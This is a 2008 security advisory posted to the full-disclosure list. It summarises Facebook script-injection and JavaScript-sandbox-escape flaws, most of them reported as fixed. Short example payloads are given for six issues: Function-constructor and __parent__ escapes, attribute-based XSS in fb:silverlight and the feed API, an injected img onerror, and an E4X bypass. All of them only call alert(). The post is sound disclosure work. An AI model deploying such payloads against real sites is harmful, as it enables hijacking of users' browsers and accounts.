Date: Thu, 3 Jul 2008 02:01:28 +0300
From: "Jouko Pynnonen" <jouko@....fi>
To: full-disclosure@...ts.grok.org.uk
Subject: Facebook script injection vulnerabilities

Hello,

This is a summary of various Facebook security issues found and
reported since June 13, 2008. Two of the vulnerabilities still remain
on the site, so no details of them are disclosed here. The rest have
been fixed.

Any of these could be exploited to take over the victim's web browser
temporarily to e.g. read inbox messages, forcibly install FB
applications, manipulate friend lists, post messages as the victim
user, etc. Any of these would also allow creation of a
self-propagating JavaScript virus/worm.

Most of the issues require the victim user to click on a profile box
or visit a canvas page of an application in order to trigger the
injected JavaScript. Issues 2) and 3) don't require mouse clicks.

The vulnerabilities were tested with two browsers: Firefox 3 (Linux +
Windows) and Internet Explorer 7.



1) Escaping JS sandbox with literal Function constructor reference
Impact: execution of unrestricted JS on canvas pages or profiles
(mouseclick required on profile pages)
Description: The JS sandbox denies references to Function.constructor
but using a literal such as "function f() { }" in the code and
refering to its constructor with the "bracket syntax" was possible.
The example below uses this method and calls the constructor with a
string argument, then calls the resulting Function object.
Browsers: FF, IE
Reported: June 13, 2008
Fixed: yes
Example:

   (function f(){}["constructor"]("alert('any javascript here');"))();



2) Fb:silverlight JS injection
Impact: execution of unrestricted JS on canvas pages, profiles
Description: Simple XSS, described in the previous message to full-disclosure.
Browsers: FF, IE
Reported: June 16, 2008
Fixed: yes
Example:

  <fb:silverlight silverlightsrc="a"
   width="\" height=",any_javascript_code_here);//" />



3) Injecting JS in Feeds
Impact: execution of unrestricted JS when viewing Feeds on profile
page or the "home" page
Description: Insufficient input validation in the
publishTemplatizedAction API method.
Browsers: FF, IE
Reported: June 16, 2008
Fixed: yes
Example:

  # using the perl API

  $facebook->feed->publish_templatized_action( title => "My Title",
        title_template => "{actor} is testing feed stories",
        body_template => "hello",
        image_1 => "http://www.mysite.com/image.gif'\"
onload=(function&#9;f(){}['constructor']('alert(1)'))();",
        image_1_link => "http://www.mysite.com" );



4) Escaping JS sandbox with literal Number reference
Impact: execution of unrestricted JS on canvas pages or profiles
(mouseclick required on profile pages)
Description: Using the "bracket syntax" to reference the __parent__
property of a floating point number to get a Window object reference,
then calling its eval() to run arbitrary code. IE doesn't support the
property.
Browsers: FF
Reported: June 18, 2008
Fixed: yes
Example:

   <script>
   1.["__parent__"].eval("alert('any javascript here');");
   </script>



5) Injecting JS in video attachments
Impact: execution of unrestricted JS when a inbox, wall or forum
message is viewed (mouseclick required)
Description: When sharing video content with the
http://www.facebook.com/sharer.php form, some input fields can be
modified e.g. with JavaScript. The example below can be typed in the
address bar to inject JS in a message.
Browsers: FF, IE
Reported: June 20, 2008
Fixed: yes
Example:

  javascript:f=document.forms[0];f['attachment[params][video][src]'].value='#"
a=b><img src="#" onerror=alert("hello")>



6) Escaping JS sandbox with E4X
Impact: execution of unrestricted JS on canvas pages or profiles
(mouseclick required on profile pages). Works in browsers supporting
E4X (Firefox)
Description: JS parser in browsers supporting E4X understand XML,
which can contain multi-line strings. Facebook's JS sandbox technology
didn't expect XML and multi-line strings. The example below
demonstrates how this could be used to fool the sandbox logic.
Browsers: FF
Reported: June 26, 2008
Fixed: yes
Example:

   <script>
   <x x="
   x" {alert('any javascript')}="x"
   />
   </script>



7) Escaping JS sandbox
Impact: execution of unrestricted JS on canvas pages or profiles
(mouseclick required on profile pages)
Browsers: FF
Reported: June 21, 2008
Fixed: no



8) Escaping JS sandbox
Impact: execution of unrestricted JS on canvas pages or profiles
(mouseclick required on profile pages)
Browsers: FF
Reported: June 21, 2008
Fixed: no




-- 
Jouko Pynnönen <jouko@....fi>
http://iki.fi/jouko
Finland

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